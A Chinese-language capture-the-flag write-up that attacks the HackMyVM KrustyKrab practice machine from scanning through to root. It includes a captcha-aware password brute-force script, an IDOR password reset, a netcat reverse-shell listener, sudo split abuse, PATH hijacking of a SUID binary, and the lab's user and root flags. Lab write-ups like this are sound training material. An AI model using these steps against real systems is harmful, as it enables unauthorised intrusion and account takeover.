KrustyKrab 靶机渗透测试:从入门到提权
嘿,安全爱好者们!今天我们要一起深入探讨一下 Hackmyvm 上的 KrustyKrab 靶机,一步步进行渗透测试,最终拿下 root 权限。这不仅是一次技术实践,也是一个很好的学习机会。 让我们开始吧!
一、信息收集:摸清底细
1.1 主机发现:找到目标
首先,我们需要确定目标靶机的 IP 地址。 这就像玩捉迷藏,我们要先找到藏起来的人。 使用 arp-scan 可以帮助我们扫描目标网段,发现存活的主机。 这就像用雷达扫描周围,找出在线的设备。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.135 08:00:27:e5:75:2d PCS Systemtechnik GmbH
...
根据扫描结果,我们找到了 KrustyKrab 靶机的 IP 地址:192.168.205.135。
1.2 端口扫描:了解开放的服务
接下来,我们需要了解目标主机上开放了哪些服务。 这就像侦查敌人的防御工事,了解他们的弱点。 使用 Nmap 进行端口扫描可以帮助我们发现这些信息。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 20:51 CST
Nmap scan report for 192.168.205.135
Host is up (0.00025s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:E5:75:2D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
扫描结果显示,目标主机开放了两个端口:
- 22/tcp: SSH 服务,用于远程登录。
- 80/tcp: HTTP 服务,通常是 Web 服务。
二、服务枚举与漏洞发现:寻找突破口
2.1 HTTP 服务枚举:探索 Web 站点
现在,我们来深入研究一下 Web 服务,寻找可能的漏洞。 这就像进入一个迷宫,需要找到正确的路径。 访问 80 端口,我们看到一个 Apache 的默认页面。 页面提示我们,网站的真实路径是 /var/www/html/finexo。
访问 http://192.168.205.135/finexo/,我们发现一个加密货币交易网站,带有一个登录页面。看起来这可能是我们突破的关键。
为了找到隐藏的目录和文件,我们使用 gobuster 进行目录爆破。 就像用一把钥匙,尝试打开不同的门。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.135/finexo/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
...
/index.html (Status: 200)
/login.php (Status: 200)
/uploads (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200) [Size: 0]
/dashboard (Status: 301)
...
2.2 登录认证绕过:破解登录
在登录页面,我们注意到存在验证码机制。 这就像一道门上的密码锁,需要正确输入密码才能进入。 通过分析页面源码和网络请求,我们发现验证码是通过访问 http://192.168.205.135/finexo/login.php?action=generateCaptcha 接口获取的。
这告诉我们,我们可以在每次登录尝试前获取一个有效的验证码。 接下来,我们尝试不同的用户名,看看服务器的反馈。 通过错误提示,我们发现一个有效用户名为 SpongeBob。 现在,我们结合以上信息,编写一个 Python 脚本,对 SpongeBob 用户的密码进行爆破。
import requests
s=requests.session()
with open('../rockyou.txt','r',encoding='latin-1')as f:
for pwd in f:
pwd=pwd.strip()
code=s.get('http://192.168.205.135/finexo/login.php?action=generateCaptcha').text
r=s.post('http://192.168.205.135/finexo/login.php',{'username':'SpongeBob','password':pwd,'captcha':code})
if 'Wrong' not in r.text:
print(f'[+] {pwd}')
break
print(f'[-] {pwd}')
脚本成功破解密码,得到 squarepants。 就像打开了密码锁,我们现在可以进入系统了。
三、漏洞利用:获取立足点
3.1 越权密码修改:掌控账户

使用 SpongeBob:squarepants 登录后台。 我们发现后台的功能比较有限,文件上传功能会将上传的文件重命名为 .jpg 后缀,无法直接利用。 就像一个有限的工具箱,我们需要找到其他的工具。

幸运的是,我们找到了一个修改密码的功能。 抓取修改密码的请求,我们发现请求中包含了 username 参数。 这暗示着可能存在越权漏洞。
POST /finexo/admin_dashboard/profile.php HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----geckoformboundaryfed4b4c36c59a662781127189307f88
------geckoformboundaryfed4b4c36c59a662781127189307f88
Content-Disposition: form-data; name="password"
123456
------geckoformboundaryfed4b4c36c59a662781127189307f88
Content-Disposition: form-data; name="username"
SpongeBob
------geckoformboundaryfed4b4c36c59a662781127189307f88--
尝试将 username 修改为 Administratro,并设置一个新密码 123456。 请求成功,证明存在越权漏洞。 我们成功修改了 Administratro 用户的密码,为我们提供了更大的控制权。
3.2 获取 Shell:建立控制
使用 Administratro:123456 登录,我们进入了更高权限的管理后台。 这里有一个可以执行系统命令的功能。 这是一个非常危险的工具,可以让我们执行任意命令。 我们使用它来获得一个 shell,实现对系统的控制。
在本地使用 netcat 开启监听:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
在 Web 后台的命令执行功能中,提交反弹 shell 的 payload,成功获取 www-data 用户的 shell。 这就像打开了后门,我们现在拥有了系统的控制权。
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.135] 38918
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!Tip]稳定 shell
script /dev/null -c bash Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=/bin/bash stty rows 36 columns 178
↑这个要自己算
stty -a|grep 'row'|awk -F'[ ;]+' '{print "stty "$4,$5,$6,$7}'
四、权限提升:一路向上
4.1 www-data -> KrustyKrab:提权第一步
在获取的 shell 中,我们需要进一步提权,获取更高的权限。 首先,我们检查当前用户的 sudo 权限。
www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ sudo -l
...
User www-data may run the following commands on KrustyKrab:
(KrustyKrab) NOPASSWD: /usr/bin/split
我们发现 www-data 用户可以免密以 KrustyKrab 用户的身份执行 /usr/bin/split 命令。 这是一个很好的机会。 通过查询 GTFOBins,我们了解到 split 命令可以用来提权。
www-data@KrustyKrab:/tmp$ sudo -u KrustyKrab split --filter=/bin/sh /dev/stdin
id
uid=1000(KrustyKrab) gid=1000(debian) groups=1000(debian), ...
我们成功切换到 KrustyKrab 用户,完成了提权的第一步。
4.2 KrustyKrab -> spongebob:蟹黄堡挑战
接下来,我们需要继续提权,获取更高的权限。 我们再次检查 KrustyKrab 用户的 sudo 权限。
KrustyKrab@KrustyKrab:~$ sudo -l
...
User KrustyKrab may run the following commands on KrustyKrab:
(spongebob) NOPASSWD: /usr/bin/ttteeesssttt
我们发现可以免密以 spongebob 的身份运行 /usr/bin/ttteeesssttt。 运行这个程序,我们发现它是一个制作蟹黄堡的小游戏,需要按照正确的顺序排列食材。
在 KrustyKrab 的家目录下,我们找到了一个名为 help 的文件,里面包含了正确的蟹黄堡配方gif:面包、肉饼、生菜、奶酪、洋葱、西红柿、番茄酱、芥末、腌椰菜、面包。 根据程序给出的打乱的食材列表和 help 文件中的正确顺序,我们输入正确的字母序列,成功通过挑战,获得 spongebob 用户的 shell。
KrustyKrab@KrustyKrab:~$ sudo -u spongebob /usr/bin/ttteeesssttt
...
Please enter the correct order using letters (e.g., ABCDEFGHIJ): HJEIGCDABF
Validation successful! Perfect Krabby Patty!
spongebob@KrustyKrab:/home/KrustyKrab$ id
uid=1001(spongebob) gid=1001(spongebob) groups=1001(spongebob),...
4.3 spongebob -> Squidward:密码破解
在 spongebob 的家目录下,我们发现 key1、key2.jpeg 和 note.txt 三个文件。 note.txt 提示 Squidward 用户的密码是 md5($key1$key2)。 这是密码破解的提示。
根据提示,密码的生成逻辑是:将 key1 文件的内容和 key2.jpeg 文件的 MD5 值拼接起来,然后对拼接后的字符串再进行一次 MD5 计算。 就像解一个谜题,我们需要找到关键的线索。
-
读取
key1:cat key1->e1964798cfe86e914af895f8d0291812 -
计算
key2.jpeg的 MD5:md5sum key2.jpeg->5e1d0c1a168dc2d70004c2b00ba314ae -
拼接并计算最终 MD5:
spongebob@KrustyKrab:~$ echo -n "e1964798cfe86e914af895f8d02918125e1d0c1a168dc2d70004c2b00ba314ae" | md5sum 7ac254848d6e4556b73398dde2e4ef82 -使用计算出的密码
7ac254848d6e4556b73398dde2e4ef82成功切换到Squidward用户。
spongebob@KrustyKrab:~$ su Squidward
Password: 7ac254848d6e4556b73398dde2e4ef82
$ id
uid=1002(Squidward) gid=1003(Squidward) groups=1003(Squidward)
4.4 Squidward -> root:最终提权
在 Squidward 的家目录下,我们发现一个由 root 用户拥有且设置了 SUID 位的可执行文件 laststep。 这是一个关键的发现,意味着我们可以利用它来提权。
Squidward@KrustyKrab:~$ ls -al
...
-rwsr-xr-x 1 root root 16056 Mar 27 2025 laststep
直接运行该文件,它会输出 /etc/shadow 的内容。 通过分析,我们发现它内部通过 system("cat /etc/shadow") 来实现此功能。 这是一个关键点,也是一个漏洞。
由于程序以 root 权限执行 cat 命令,并且没有使用绝对路径,这里存在明显的 PATH 环境变量劫持漏洞。 这就像留下了一扇未锁的门,我们可以利用它来获取 root 权限。
-
在当前目录下创建一个名为
cat的恶意脚本,内容为给/bin/bash添加 SUID 权限。Squidward@KrustyKrab:~$ echo 'chmod +s /bin/bash' > cat -
给该脚本添加执行权限。
Squidward@KrustyKrab:~$ chmod +x cat -
将当前目录
.添加到 PATH 环境变量的最前面。Squidward@KrustyKrab:~$ export PATH=.:$PATH -
再次运行
laststep。 此时,它会以 root 权限执行我们编写的恶意cat脚本。Squidward@KrustyKrab:~$ ./laststep -
检查
/bin/bash的权限,发现已成功设置 SUID 位。Squidward@KrustyKrab:~$ ls -al /bin/bash -rwsr-sr-x 1 root root 1265648 Apr 23 2023 /bin/bash -
执行
bash -p以保留 euid,获得 root 权限的 shell。Squidward@KrustyKrab:~$ bash -p bash-5.2# id uid=1002(Squidward) gid=1003(Squidward) euid=0(root) egid=0(root) groups=0(root),1003(Squidward)
现在,我们已经成功获得了 root 权限。 就像到达了城堡的顶端,我们完成了这次渗透测试。
最后,读取 user 和 root 的 flag。
bash-5.2# /bin/cat /home/KrustyKrab/user.txt
dcc8b0c111c9fa1522c7abfac8d1864b
bash-5.2# /bin/cat /root/root.txt
efe397e3897f0c19ef0150c2b69046a3
五、总结
恭喜!我们成功地完成了 KrustyKrab 靶机的渗透测试。 从信息收集到漏洞利用,再到权限提升,每一步都充满了挑战和乐趣。 希望这次实践能帮助你更好地理解渗透测试的流程和技术。 继续加油,安全之路,永无止境!